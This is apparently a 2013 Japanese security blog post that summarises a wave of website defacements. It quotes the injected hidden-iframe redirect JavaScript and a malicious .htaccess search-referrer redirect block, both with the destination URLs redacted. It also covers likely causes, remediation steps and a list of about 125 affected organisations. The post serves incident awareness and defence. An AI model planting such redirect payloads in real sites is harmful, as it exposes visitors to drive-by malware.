ブログトップ 記事一覧 ログイン 無料ブログ開設

piyolog RSSフィード

2013-06-04

5月から多発しているHP改ざんインシデントをまとめてみた。

| 22:40 | 5月から多発しているHP改ざんインシデントをまとめてみた。を含むブックマーク

概要

5月に入ってから複数の組織でホームページ改ざんが発生していると報じられています。この件に直接関連しているかは不明ですが、IPA警察庁トレンドマイクロホームページ改ざんに関して注意喚起や情報を掲載しています。IPAは2008年に猛威を振るったGumblarによるものや2012年9月18日前後に多発したHP改ざんの規模に匹敵すると発表しています。ここでは5月以降発生している改ざんインシデントについてついてまとめます。

改ざんの概要イメージ

現時点で判明している情報、及びそこから推測される内容を踏まえて一連の流れを図にしました。(改ざんが行われるまでの流れは推測部分が多く含まれます。)

f:id:Kango:20130622121834p:image:w800

 

改ざんされる内容

複数の方の報告によればWebサーバー上に配置されている次の拡張子のファイルの全部、または一部に対して、第三者による改ざんが行われています。改ざん方法にはいくつかの種類があり、確認されているものの多くは共通して「0c0896」等の文字列が埋め込まれています。改ざんサイトを閲覧した際、悪性サイトへリダイレクトをさせ、そこでマルウェア(以下のese_adminさんのBlogによればFakeAV系)に感染させることを目的としているように見受けられるものの、wakatonoさんが分析されているように書き換えはできたものの埋め込みをしたJavaScriptが動作しない(いわゆる毒入れに失敗したかの)ようなケースもあるようです。*1

  • HTMLファイル(.html)
  • JSPファイル(.jsp)
  • PHPファイル(.php)
  • JavaScriptファイル(.js)
  • JSONファイル(.json)
  • テンプレートファイル(.tpl)
  • 分散設定ファイル(.htaccess)
今回の改ざんについて調査・考察されている方の記事

尚、JPCERT/CCは埋め込まれる固定文字列が16進数6桁であることから一連の改ざんを「コードネーム COLOR」と呼称して調査しているようです。

静的コンテンツへの改ざん

静的コンテンツへの改ざんは難読化されたJavaScript(数字の羅列の様な文字列)が埋め込まれます。トレンドマイクロによりJS_BLACOLE.SMTTとして検知される実体は埋め込まれたJavaScriptです。実際に実行されるのは次のようなコードです。変数名等、一部は改ざん先によって異なる場合があるようです。悪性サイトへリダイレクトする1pxのIFRAMEが埋め込まれることになります。

function zzzfff()
{
	var egefi = document.createElement('iframe');
	egefi.src = 'http://(リダイレクト先悪性サイトURL)';
	egefi.style.position = 'absolute';
	egefi.style.border = '0';
	egefi.style.height = '1px';
	egefi.style.width = '1px';
	egefi.style.left = '1px';
	egefi.style.top = '1px';
	if (!document.getElementById('egefi'))
	{
		document.write('<div id=\'egefi\'></div>');
		document.getElementById('egefi').appendChild(egefi);
	}
}

function SetCookie(cookieName,cookieValue,nDays,path)
{
	var today = new Date();
	var expire = new Date();
	if (nDays==null || nDays==0) nDays=1;
	expire.setTime(today.getTime() + 3600000*24*nDays);
	document.cookie = cookieName+"="+escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie( name )
{
	var start = document.cookie.indexOf( name + "=" );
	var len = start + name.length + 1;
	if ( ( !start ) &&
	( name != document.cookie.substring( 0, name.length ) ) )
	{
		return null;
	}
	if ( start == -1 ) return null;
	var end = document.cookie.indexOf( ";", len );
	if ( end == -1 ) end = document.cookie.length;
	return unescape( document.cookie.substring( len, end ) );
}

if (navigator.cookieEnabled)
{
	if(GetCookie('visited_uq')==55){}
	else
	{
		SetCookie('visited_uq', '55', '1', '/');
		zzzfff();
	}
}
分散設定ファイルへの改ざん

MASAKIさんより.htaccessの改ざんに関する情報を頂きました。検索やポータルサイト等からこの.htaccessが改ざんされたサイトを訪れた場合に悪性サイトへリダイレクトさせるものと思われます。

#0c0896#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://転送先URL [R=301,L]
</IfModule>

#/0c0896#

 

改ざんされた原因

現在進行形で起きているためか、改ざん原因について詳細を公表している組織はあまり多くありませんが、改ざん原因を発表している組織がいくつかあり、以下に抜粋します。

改ざんは、管理者アカウントを何らかの方法で入手してFTPあるいはSSHにより外部から実行されたものと判断しており

http://in-law.jp/

本サイトの管理・運営委託会社のパソコンを経由して、サイト用サーバー不正アクセスがあり、改ざんされるという被害を受けました

http://www.hoken-i.co.jp/outline/cat272/post_102.html
  • 東京大学医学部付属病院

当院がホームページのコンテンツ管理(CMS)を委託している企業側のパソコンがコンピュータウイルス感染した事が原因でした。

http://www.h.u-tokyo.ac.jp/oshirase/archives/20130604.html

また、IPAやJPCERT/CCの注意喚起によるとFTPSSHアカウント情報を窃取するウィルスの存在に触れられています。

“パソコンのJavaのバージョンが古いままだったためにFTPアカウント情報を漏えいさせるウイルス感染した”というウイルス感染のケース※もありました。

http://www.ipa.go.jp/security/txt/2013/06outline.html
  • JPCERT/CC

また、攻撃に使用されている一部のマルウエアには、FTP/SSH クライアントや Web ブラウザなどに保存されている過去に入力したアカウント情報などを窃取する機能を有しているものがあり、Web コンテンツ更新に使用されるアカウント情報がマルウエアにより窃取されている可能性があります。

http://www.jpcert.or.jp/at/2013/at130027.html

さらにこの件に関連していると思われる質問がYahoo知恵袋に投稿されています。この被害を受けた方はFTPサーバーを使っていたようです。

これらから、今回多発している改ざんは、Gumblarのようなマルウェア、あるいは情報を窃取するマルウェアを通じて管理用ID、パスワードが盗まれた*2ことが原因で改ざんされたのではないかと考えられます。他には「サーバーソフトウェア脆弱性が放置されていた」、「単純なID、パスワードを使っていた」、「そもそも認証等必要なく誰でも更新できる状況だった」も原因として考えられるでしょう。

 

改ざんを受けた場合の対策

改ざん被害を受けたサイトはID、パスワードの変更だけにとどまるのではなく、次の点に対応漏れがないか確認してください。

また今回の事例ではトップページではなく、その配下のWebページが改ざんされているケースも見受けられることから、改ざんされた事実に気づいていない可能性もあり、FTPログや管理するコンテンツに差分が発生していないかも確認したほうが良いでしょう。

 

改ざんされていたことを報告したWebサイト一覧

5月以降、ホームページ改ざんされたことを公表しているサイトを以下に掲載します。全ての組織がこのように公表することはないと考えられるため、これらサイトも多発している改ざんの一部だと思われます。また以下のリストは「HP改ざん」されたことを共通点としているだけであり、これら一連の改ざんが関連したものであるかは不明です。

No改ざんされたサイトURL改ざん期間*3改ざん原因改ざん内容掲載文
1鹿児島県教職員互助組合kyogo.or.jp05/01 2:45〜05/02 13:32掲載無ウィルス感染する可能性*4
2アウンコンサルティング株式会社www.auncon.co.jp05/01〜05/07サーバーへの不正アクセスウィルス感染する可能性
HEUR:Trojan.Script.Generic
*5
3削除要請があっため削除
4世界人権問題研究センターwww.mmjp.or.jp/jinken05/21〜05/28午後デンマークからの不正アクセスウィルス感染する可能性*6 *7
5有限会社APCブレーンAPCブレーン及び所属アーティスト含む関連ページ
www.apc-brain.co.jp
レディバード
www.apc-brain.co.jp/ladybird
05/22 19:37〜05:26 1:27掲載無ウィルス感染する可能性
Trojan:JS/Rediredtor.MB
*8
6日本産業廃棄物処理振興センターwww.jwnet.or.jp/whatsnew/index.php
www.jwnet.or.jp/oshirase/index.php
www.jwnet.or.jp/workshop/index.php
掲載無(修正は05/17)掲載無ウィルス感染する可能性
TROJ_FAKEAV亜種
*9
7リコージャパンプリントアウトファクトリー
www.printout.jp
05/25 7時頃〜05/31 22時半頃掲載無ウィルス感染する可能性
トロイの木馬マルウェア
*10
8株式会社ディーバwww.diva.co.jp05/25 15:50〜05/29 15:10第三者の不正アクセスウィルス感染する可能性*11
9科学技術振興機構crds.jst.go.jp/5th/
crds.jst.go.jp/about_sympo/
crds.jst.go.jp/access/
crds.jst.go.jp/GIES/
crds.jst.go.jp/daily/
05/25〜05/27 10時頃
2013/06/01〜2013/06/03 11時55分
掲載無悪性サイトへ誘導される可能性*12
10三重交通グループホールディングス株式会社観光販売システムズホームページ
kanko-pro.co.jp
トライパルツアー
sanq-tripal.com
熊野古道シャトルバス
Kumanokodo.co.jp
みえ観光ウェブ
mie-kanko.jp
05/26 17:00〜06/01 17:00掲載無ウィルス感染する可能性*13 *14
11横浜シティ・エア・ターミナル株式会社YCAT
www.ycat.co.jp
05/26 23:00〜05/27 17:00掲載無ウィルス感染する可能性*15
12神奈川県保険医協会「いい医療.com」の一部05/27 0:00〜14:00PC経由による不正アクセス悪性サイトへ誘導される可能性*16 *17
13美浜町www.town.mihama.aichi.jp05/28 13:00〜16:00掲載無ウィルス感染する可能性*18
14田原総一郎www.taharasoichiro.comの一部05/28〜05/29 13時掲載無悪性サイトへ誘導*19
15株式会社アーク京のすっぴんさん
www.suppinsan.com
05/28 15:17〜05/29 14:00掲載無ウィルス感染する可能性*20
16ワタナベ ランドLAND et vous
landetvous.com
掲載無(掲載日付は05/29)掲載無ウィルス感染する可能性*21
17ミツミ電機株式会社www.mitsumi.co.jp5/29 7:20〜13:373回にわたり不正アクセスウィルス感染する可能性*22
18株式会社アジュバンコスメジャパンRe:PRO
www.repro-top.com
05/29 17:00〜06/01 9:25掲載無ウィルス感染する可能性
JS_Trojan.Crypt.MT
*23
19情報ネットワーク法学in-law.jp配下のWebページ全て05/29 19時〜05/30 12時FTPあるいはSSH悪性サイトへ誘導*24
20沖縄県県立玉城青少年の家
www.okinawa-nanjo-youthhome.jp
05/29 20:00〜06/03 11:00掲載無文字化け
ウィルス感染する可能性
*25
21山梨県立塩山高等学校塩山高校商業研究部
www.enzanh.kai.ed.jp/ENZAN business research club WEB/配下のページ
塩山高校女子ソフトボール部
www.enzanh.kai.ed.jp/ENZAN softball club WEB/配下のページ
05/29〜05/30掲載無ウィルス感染する可能性*26
22フジ印刷株式会社WarpStyle
warpstyle.jp
05/29〜05/30 12:00Webサーバーへの不正アクセスウィルス感染する可能性*27
23横浜市横浜観光情報
www.welcome.city.yokohama.jp
05/30 4:00〜16:30掲載無書き換えられたのみ*28
24横浜市www.kuraki-noh.jp05/30 10:00〜06/04 12:10掲載無ウィルス感染する可能性
JS_BLACOLE.SMTT
*29 *30
25日比谷アミューズメントプランニングらんの里 堂ヶ島
www.dogashima.com
05/30 14:16〜18:22掲載無ウィルス感染する可能性
悪性サイトへ誘導される可能性
*31
26愛知県バドミントン協会www.badminton-aichi.comの一部05/30 17:13〜06/01 17:30掲載無ウィルス感染する可能性*32
27東京大学医学部付属病院www.h.u-tokyo.ac.jp05/30 20:00〜05/31 2:30管理業者PC感染による改ざんウィルス感染する可能性*33
28ときめきドットコムシンニチプレミアムストア
njpw-p.jp
05/30 19時〜06/03 14時掲載無ウィルス感染する可能性
JS_BLACOLE.SMTT
*34
29姫路市まちづくり振興機構himeji-machishin.jp05/31 4:30〜17:00掲載無ウィルス感染する可能性*35
30株式会社幼児教育実践研究所こぐま会
www.kogumakai.co.jp
05/31 18:30〜06/04 10:00掲載無ウィルス感染する可能性
JS_BLACOLE.SMTT
*36
31株式会社テレワークマネジメントwww.telework-management.co.jpの一部05/31未明〜11時頃掲載無ウィルス感染する可能性
JS_BLACOLE.SMTT
*37
32☆脱!カラオケコンプレックスwww.arcadia.gr.jp5月末〜06/04 AM掲載無ウィルス感染する可能性
HEUR:Trojan.Script.Generic
*38
33エフエム群馬fmgunma.com配下の248ファイル06/01 5時〜06/03 13時外部から不正アクセスウィルス感染する可能性*39 *40
34仙台市農作物有害鳥獣対策協議会www.inocc.jpの一部06/01〜06/03アクセス掲載無ウィルス感染する可能性*41
35株式会社ウェブメッセージplaza.rakuten.co.jp/toretama/06/01〜06/02掲載無掲載無*42
36北海道文教大学www.do-bunkyodai.ac.jp掲載無(06/02に判明)掲載無ウィルス感染する可能性*43
37神戸市立桃山台児童館www.eonet.ne.jp/~momoyamadai/06/02〜06/03掲載無ウィルス感染する可能性*44
38日本馬術連盟www.equitation-japan.comの一部06/04 15:47〜17:25掲載無掲載無*45
39有限会社ゆたぷろwww.yutapro.comの一部06/04 17:00〜06/05 11:45掲載無ウィルス感染する可能性
JS_BLACOLE.SMTT
*46
40能登空港利用促進協議会www.notohantou.net06/05 1:00〜10:00第三者の不正アクセストップページが表示されない
ウィルス感染する可能性
*47
41札幌市札幌市ワークライフ・バランス推進事業
www.sapporo-wlb.jp
改ざん時期不明〜06/05 0:10掲載無ウィルス感染する可能性
JS_BLACOLE.SMTT
*48 *49
42日本創造教育研究所ありがとう経営のすすめ
arigatou-keiei.jp
業績アップ研修.com
gyoseki-up.com
心に残るありがとう体験談募集
arigatou-taiken.jp
朝礼.com
cho-rei.com
ありがとう卓越経営大賞
arigatou-takuetsu.jp
人事セミナー.com
yarigai-jinji.com
ありがとうブログ
arigatou-blog.com
建設みらい研究所
kensetsu-mirai.com
05/29 20:42〜05/30 11:13掲載無ウィルス感染する可能性
Gumblarの亜種
*50
43有限会社 ビブリオポリwww.bibliopoly.co.jp掲載無掲載無掲載無*51
44株式会社アークwww.organic-skincare.jpの一部05/28 15:17〜05/29 12:40第三者の不正アクセスウィルス感染する可能性*52
45アール・ビー・コントロールズ株式会社www.rbcontrols.co.jpのHTMLファイル全て06/02 10:20〜06/03 10:00第三者の不正アクセスウィルス感染する可能性
JS/Kryptik.AKY
*53
46エスペック株式会社Test-Navi
www.test-navi.com
06/04 17:00〜06/05 12:00第三者の不正アクセスウィルス感染する可能性*54
47札幌市ようこそさっぽろ
www.welcome.city.sapporo.jp
掲載無(06/05 9:00発覚)〜06/06 20:00掲載無掲載無*55 *56
48早稲田スポーツ新聞会www.wasedasports.com掲載無(06/05 22:32時点で改ざん確認)掲載無掲載無*57
49寺本法律会計事務所teramoto-law.jp05/31〜06/06第三者の不正アクセスウィルス感染する可能性*58
50函館信用金庫www.hakodate-shinkin.jpの一部06/03 1:00〜06/04 9:30第三者の不正アクセスウィルス感染する可能性*59
51株式会社トヨシマwww.kk-toyoshima.co.jpの一部05/29〜06/03第三者の不正アクセスウィルス感染する可能性*60
52浜松グリーンウェーブ株式会社www.hgw.co.jpの一部06/03 4:00〜06/06 22:00第三者の不正アクセスウィルス感染する可能性*61 *62
53株式会社アークふじ光成堂薬局
www.sasaherusu.comの一部
05/28 15:17〜05/29 12:40第三者の不正アクセスウィルス感染する可能性*63
54株式会社アークふじ光成堂薬局
www.organic-skincare.jpの一部
05/28 15:17〜05/29 12:40第三者の不正アクセスウィルス感染する可能性*64
55上毛新聞TRサービスTRサービスホームページ
www.j-tr.jp
デリジェイホームページ
deli-j.j-tr.jp
掲載無(06/04判明)掲載無ウィルス感染する可能性
JS_BLACOLE.SMTT
*65 *66
56北恵株式会社www.kitakei.jp06/01 23:00〜06/04 12:00外部委託サーバー不正アクセスウィルス感染する可能性
JS/Kryptik.ANY
*67
57有限会社アップフィールド日報Webシステム
np-sys.info
05/25 16:50〜05/30 00:00掲載無ウィルス感染する可能性*68
58株式会社一幸陶苑PRIMAG
www.pri-mug.com
掲載無掲載無ウィルス感染する可能性*69
59株式会社エー・ティー・エックス複数の特設ページ
www.at-x.com/html/
06/04〜06/06 20:00第三者の不正アクセスウィルス感染する可能性*70
60株式会社ミノウラwww.mnr.co.jp05/03〜05/28第三者の不正アクセスウィルス感染する可能性*71
61日本デオドール株式会社www.deodor.co.jp05/28〜06/02国外からの不正アクセス掲載無*72
62大富士フットボールクラブohfuji-fc.com05/04〜05/06掲載無ウィルス感染する可能性*73
63葉鍼灸院you-sinkyu-in.com05/28 15:31〜19:48米国からの不正アクセスウィルス感染する可能性*74
64板橋区立成増小学校支援地域本部narimasu.gr.jp05/18 13:00〜22:00第三者の不正アクセスウィルス感染する可能性*75
65株式会社CRAZY TVwww.crazytv.com05/29〜06/03第三者の不正アクセスウィルス感染する可能性*76
66株式会社 かなえるリンクwww.kanaerulink.co.jp06/02 11:50〜06/04 18:00第三者の不正アクセスウィルス感染する可能性*77
66緑秀会田無病院www.tanashi-hospital.or.jp/06/03 1:00〜06/04 12:00第三者の不正アクセスウィルス感染する可能性*78
67株式会社ドゥ・ハウスモラタメ.net
www.moratame.net
06/05 18:44〜06/07 6:30第三者の不正アクセスウィルス感染する可能性*79
68札幌静修高等学校www.sapporoseishu.ed.jp06/02 14:00〜06/04 9:00第三者の不正アクセスウィルス感染する可能性*80
69日本文化出版株式会社NBPオンラインショッピング
shop.nbp.ne.jp
05/30 8:00〜06/06 20:00第三者の不正アクセスウィルス感染する可能性*81
70海洋研究開発機構高知コア研究所
www.kochi-core.jp
05/25〜05/29第三者の不正アクセスウィルス感染する可能性*82
71ゑびすやwww.ebisuyagolf.com06/02〜06/05 15:00第三者の不正アクセスウィルス感染する可能性*83
72すみだ産業会館www.sumidasangyokaikan.jp06/05第三者の不正アクセスウィルス感染する可能性*84
73地盤工学会電子図書室サービス
www.jgs-library.net
掲載無(06/03判明)〜06/04第三者の不正アクセスウィルス感染する可能性*85
74愛知・豊川用水振興協会aitoyo.or.jp05/29 15:00〜06/06 18:00第三者の不正アクセスウィルス感染する可能性*86
75栄信電気工業株式会社www.eisin.co.jpの一部05/31〜06/03第三者の不正アクセスウィルス感染する可能性*87
76登録紹介宣伝あくせすくんpark1.wakwak.com/~com/掲載無(06/01掲載)不明不明*88
77日本赤十字社www.jrc.or.jp05/30 20:00〜21:54第三者による改ざんウィルス感染する可能性*89
78株式会社HKSバスデポ
bus-depot.in
06/04 23:00〜06/06 12:00第三者による不正アクセスウィルス感染する可能性*90
79石川県教職員互助会www.ishikyogo.or.jpの一部05/31 0:00〜16:00第三者による不正アクセスウィルス感染する可能性*91
80株式会社アクアwww.aqua-ltd.com05/31 7:39〜06/05 2:46第三者による不正アクセスウィルス感染する可能性*92
81国立民族学博物館関雄二教授個人HP
www.r.minpaku.ac.jp/sekito/
05/25〜06/06第三者による不正アクセスウィルス感染する可能性*93
82長谷川敬税理士事務所office-hasegawa.com05/29〜06/03 19:00第三者による不正アクセスウィルス感染する可能性
JS_BLACOLE.SMTT
*94
83TokiwagiFC Fantokiwagifcfan.com掲載無(06/04に判明)掲載無ウィルス感染する可能性*95
84東京こけし友の会www.tokyo-kokeshi.jp05/30〜06/04掲載無掲載無*96
85ΜΟΟΥΣΕΊΟΝwww.moouseion.com
www.hisaoh.com
www.letharia.com
05/28〜05/30海外からの不正アクセス掲載無*97
86松菱金属工業株式会社www.matsubishi-kinzoku.co.jpの一部06/01 16:40〜06/04 16:40悪意を持った第三者からの攻撃ウィルス感染する可能性
JS_BLACOLE.SMTT
*98
87日本グラフィックサービス工業会www.jagra.or.jp06/03 2:00〜10:00掲載無ウィルス感染する可能性
トロイの木馬
(不正JavaScriptの埋め込み)
*99
88盛岡三菱自動車販売株式会社morioka-mitsubishi.com06/04 18:30〜06/06 13:00第三者の不正アクセスウィルス感染する可能性
JS_BLACOLE.SMTT
*100
89北海道文化財団haf.jpの一部05/30〜06/03第三者の不正アクセスウィルス感染する可能性*101
90ふどうさんの現代屋www.gendaiya.com掲載無(06/13発表)海外からのFTP接続掲載無*102
91株式会社さうすウェーブsouthwave.co.jp06/01 0:00〜06/04 18:00第三者の不正アクセスウィルス感染する可能性*103
92湘南鎌倉総合病院shonankamakura.or.jp06/11 6:40〜13:05第三者の不正アクセスウィルス感染する可能性*104
93株式会社HASUNAwww.hasuna.co.jpの一部05/31 3:00〜06/03 8:30掲載無ウィルス感染する可能性*105
94日本コンクリート工学会www.jci-net.or.jp06/02 11:00〜06/03 12:15掲載無ウィルス感染する可能性*106
95ライオン堂www.lion-do.jp/05/28〜06/06不正アクセスウィルス感染する可能性*107
96あんしん堂www.nsg-a.jp
www.ansindo.jp
06/03〜06/11英仏デンマークからのFTPへの不正アクセスウィルス感染する可能性*108
97ニルフィスクアドバンス株式会社www.nilfisk-advance.co.jpの一部06/03〜06/07第三者の不正アクセスウィルス感染する可能性*109
98ライブラリーコンテンツサービス株式会社www.lib-con.jp06/13 5:20〜10:30第三者の不正アクセスウィルス感染する可能性*110
99ヒーリングルーム愛healingroomai.com06/12 05:30〜06:14 13:00掲載無ウィルス感染する可能性*111
100トヨタ自動車株式会社www2.toyota.co.jp/jp/news/06/05 18:26〜06/14 21:47第三者の不正アクセスウィルス感染する可能性*112
101中小企業経営革新支援ネットワークchusho-kakushin.netの一部05/31〜06/06第三者の不正アクセスウィルス感染する可能性*113
102DXアンテナ株式会社www.dxantenna.co.jp05/29 18:29〜05/30 18:38第三者の不正アクセスウィルス感染する可能性*114
103新陽ビニール工業株式会社shinyo-v.co.jp05/28 05:00〜06/13第三者の不正アクセスウィルス感染する可能性
JS_BLACOLE.SMTT
*115
104情報処理学会情報規格調査会
www.itscj.ipsj.or.jp
06/15〜06/17(詳細調査中)掲載無ウィルス感染する可能性*116
105株式会社グローバルスズキglobal-suzuki.com05/08〜05/20第三者の不正アクセス
サイト管理システムの脆弱性を突かれた可能性
ウィルス感染する可能性*117
106なんぶの湯www.nanbunoyu.jp06/07〜06/17サーバー上の脆弱性を突かれた可能性ウィルス感染する可能性*118
107株式会社サンコンタクトレンズwww.sun-con.comの一部06/08〜06/13第三者の不正アクセスウィルス感染する可能性*119
108ときめきドットコム株式会社charaheroes.jp06/14 09:55〜16:05第三者の不正アクセスウィルス感染する可能性*120
109WHO's Generationwww.whosgeneration.info掲載無(06/10判明)第三者の不正アクセスウィルス感染する可能性*121
110慶應義塾体育会フェンシング部keio-fencing.main.jp06/01〜06/03 20:13第三者の不正アクセスウィルス感染する可能性*122
111ナチュラル鍼灸治療院ameblo.jp/natural-harikyu/掲載無(06/18判明)第三者の不正アクセスウィルス感染する可能性*123
112OliveBeautywww.olivebeauty-s.com06/12〜06/13第三者の不正アクセスウィルス感染する可能性*124
113道の駅サザンセトとうわwww.sazan-seto.com06/10〜(06/20お詫び掲載)第三者の不正アクセスウィルス感染する可能性*125
114株式会社FITwww.fitcoltd.com06/16、06/23第三者の不正アクセスウィルス感染する可能性*126
115株式会社ウチダレックwww.uchidarec.comの一部06/23 10:40〜06/24 11:00第三者の不正アクセスウィルス感染する可能性*127
116榊電業株式会社www.sakaki-elc.co.jp06/23 05:00〜06/25 14:00第三者の不正アクセスウィルス感染する可能性*128
117プラスワンリビングハウス株式会社プラスワンリビング
www.plusoneliving.jp
プラスワンリビングハウス
plusonelivinghouse.jp
06/08 10:00〜06/13 16:00第三者の不正アクセスウィルス感染する可能性*129
118東邦レオ株式会社エコガーデン.JP
www.ecogarden.jp
まちなか菜園
www.machinaka-saien.jp
クリエイティブグリーン
www.mansion-green.jp
06/12 11:00〜06/13 16:00第三者の不正アクセスウィルス感染する可能性*130
119三菱地所株式会社空と土プロジェクト
www.soratsuchi.com内のフォーム
06/12 04:52〜06/24 14:00第三者の不正アクセスウィルス感染する可能性*131
120二宮町www.town.ninomiya.kanagawa.jp06/23 10:00〜06/24 14:00第三者の不正アクセスウィルス感染する可能性*132
121鹿児島大学共同獣医学部附属動物病院www.kuvth.com05/17〜05/29第三者の不正アクセスウィルス感染する可能性*133
122茨城県警備業協会ibaraki.r.ajssa.or.jp05/28〜06/03第三者の不正アクセスウィルス感染する可能性*134
123特例民法法人移行手続研究会tokureiminpouhoujin119.com/05/31〜06/06第三者の不正アクセス悪性サイトへリダイレクトされる可能性*135
124兼進刃物製作所kaneshin-seki.com06/11 5:00〜06/17 10:00第三者の不正アクセスウィルス感染する可能性*136
125鹿児島大学大学院臨床心理学研究科www.leh.kagoshima-u.ac.jp/kumcp/05/24〜06/21第三者の不正アクセスウィルス感染する可能性*137

関連

更新履歴

*1:検索で引っ掛かる場合の多くがこの毒入れ失敗パターンだとか。

*2:ただし相当数のサイトで改ざんされた時期が重なっており、人為的に行うのは相応の人数がいなければ難しいように思います。

*3:表記は全て2013年発生

*4鹿児島県教職員互助組合ホームページの改ざんについて,鹿児島県教職互助組合,2013/06/06アクセス:魚拓

*5コンピュータウイルス感染の報告とお詫び,アウンコンサルティング,2013/06/04アクセス:魚拓

*6世界人権問題研究センターからのお知らせ,世界人権問題研究センター,2013/06/04アクセス:魚拓

*7HPがウイルス感染 世界人権問題研究センター 京都,MSN産経,2013/06/04アクセス:魚拓

*8当社ホームページ及び関連ページの改ざんに関するお詫びとご報告,APCブレーン,2013/06/04アクセス

*9当センターホームページの改ざんに関するお詫び,日本産業廃棄物処理振興センター,2013/06/04アクセス:魚拓

*10「プリントアウトファクトリー」サイト改ざんに関するお知らせ,リコージャパン,2013/06/04アクセス:魚拓

*11不正アクセスによるサイト改ざんについて,ディーバ,2013/06/06アクセス:魚拓

*12ホームページ改ざんに関するお知らせとお詫び,科学技術振興機構,2013/06/04アクセス:魚拓

*13:(PDF当社のグループ会社におけるWEBサイト改ざんについてのお詫び,三重交通グループホールディングス,2013/06/06アクセス

*14:(PDF当社のグループ会社におけるWEBサイト改ざんについての追加情報,三重交通グループホールディングス,2013/06/06アクセス

*15ホームページ改ざんに関するお知らせとお詫び,横浜シティ・エア・ターミナル,2013/06/06アクセス:魚拓

*16神奈川県保険医協会ホームページ「いい医療.com」の改ざん発生について,神奈川県保険医協会,2013/06/04アクセス:魚拓

*17(重要)本ウェブサイトの復旧のお知らせとお願い,神奈川県保険医協会,2013/06/04/アクセス:魚拓

*18美浜町ホームページを閲覧された皆様へ、ホームページ改ざんに関するお詫び,美浜町,2013/06/04アクセス:魚拓

*19ホームページ改ざんに関するお知らせとお詫び,田原総一郎,2013/06/04アクセス:魚拓

*20ホームページ改ざんに関するお知らせとお詫び,アーク,2013/06/04アクセス:魚拓

*21【Night on the Planet および LAND et vous より重要なお知らせ】,ワタナベランド,2013/06/04アクセス:魚拓

*22<重要なお知らせ>不正アクセスによる障害のお知らせとウィルスチェックのお願い,ミツミ電機,2013/06/04アクセス:魚拓

*23:(PDF当社ホームページの改ざんに関するお詫びとご報告,アジュバンコスメジャパン,2013/06/06アクセス

*24ウェブサイト改ざんのご報告とお詫び,情報ネットワーク法学会,2013/06/04アクセス:魚拓

*25【重要】県立玉城青少年の家ホームページ改ざんについて,沖縄県,2013/06/06アクセス:魚拓

*26本校ウェブサイトへの不正アクセスについて,山崎県立塩山高等学校,2013/06/04アクセス:魚拓

*27当Webサイト改ざんに関する報告とお詫び,フジ印刷,2013/06/06アクセス:魚拓

*28ウェブサイト改ざんのご報告とお詫び,横浜市,2013/06/06アクセス:魚拓

*29久良岐 お詫び,シグマコミュニケーションズ,2013/06/05アクセス:魚拓

*30久良岐能舞台公式ホームページをご利用の皆様へホームページ再開に際してのご挨拶,シグマコミュニケーションズ,2013/06/15アクセス:魚拓

*31らんの里堂ヶ島ホームページに関するお詫びとお知らせ,日比谷アミューズメントプランニング,2013/06/04アクセス:魚拓

*32公式サイト改ざんに関するお詫びとご報告,愛知県バドミントン協会,2013/06/05アクセス:魚拓

*33当院ホームページの不正な改変事案に関する注意喚起とお詫びとお願い,東京大学医学部付属病院,2013/06/05アクセス:魚拓

*34シンニチプレミアムストアご利用のお客様へ改ざんに関するお詫びとお知らせ,ときめきドットコム,2013/06/04アクセス:魚拓

*35当機構ホームページの改ざんについて,姫路市まちづくり振興機構,2013/06/04アクセス:魚拓

*36「当サイトの改ざんに関するお詫び」,幼児教育実践研究所,2013/06/06アクセス:魚拓

*37弊社ホームページの改ざんに関するお詫び,テレワークマネジメント,2013/06/05アクセス:魚拓

*38改ざん被害が発生しました…申し訳ございません。[カラオケスクールお知らせ],☆脱!カラオケコンプレックス,2013/06/04アクセス:魚拓

*39ホームページ不正改ざんについてのお詫び,エフエム群馬,2013/06/04アクセス:魚拓

*40ホームページ再開にあたってのご報告,エフエム群馬,2013/06/07アクセス:魚拓

*41仙台市農作物有害鳥獣対策協議会ホームページの一部が改ざんされました,仙台市,2013/06/04アクセス:魚拓

*42ご連絡。,ウェブメッセージ,2013/06/06アクセス:魚拓

*43本学「ホームページ」に関するお詫びとお知らせ,北海道文教大学,2013/06/04アクセス:魚拓

*44神戸市立桃山台児童館のホームページを閲覧された方へ,神戸市,2013/06/05アクセス:魚拓

*45日本馬術連盟ホームページの改ざん被害と復旧のご報告,日本馬術連盟,2013/06/05アクセス:魚拓

*46弊社ホームページの改ざんに関するお詫び,ゆたぷろ,2013/06/05アクセス:魚拓

*47ホームページ改ざんに関するお知らせとお詫び,能登空港利用促進協議会,2013/06/06アクセス:魚拓

*48現在、「札幌市ワーク・ライフ・バランス推進事業」HPが閲覧できなくなっています。,札幌市,2013/06/06アクセス:魚拓

*49札幌市HPがウイルス感染 閲覧者に確認呼び掛け,北海道新聞,2013/06/06アクセス:魚拓

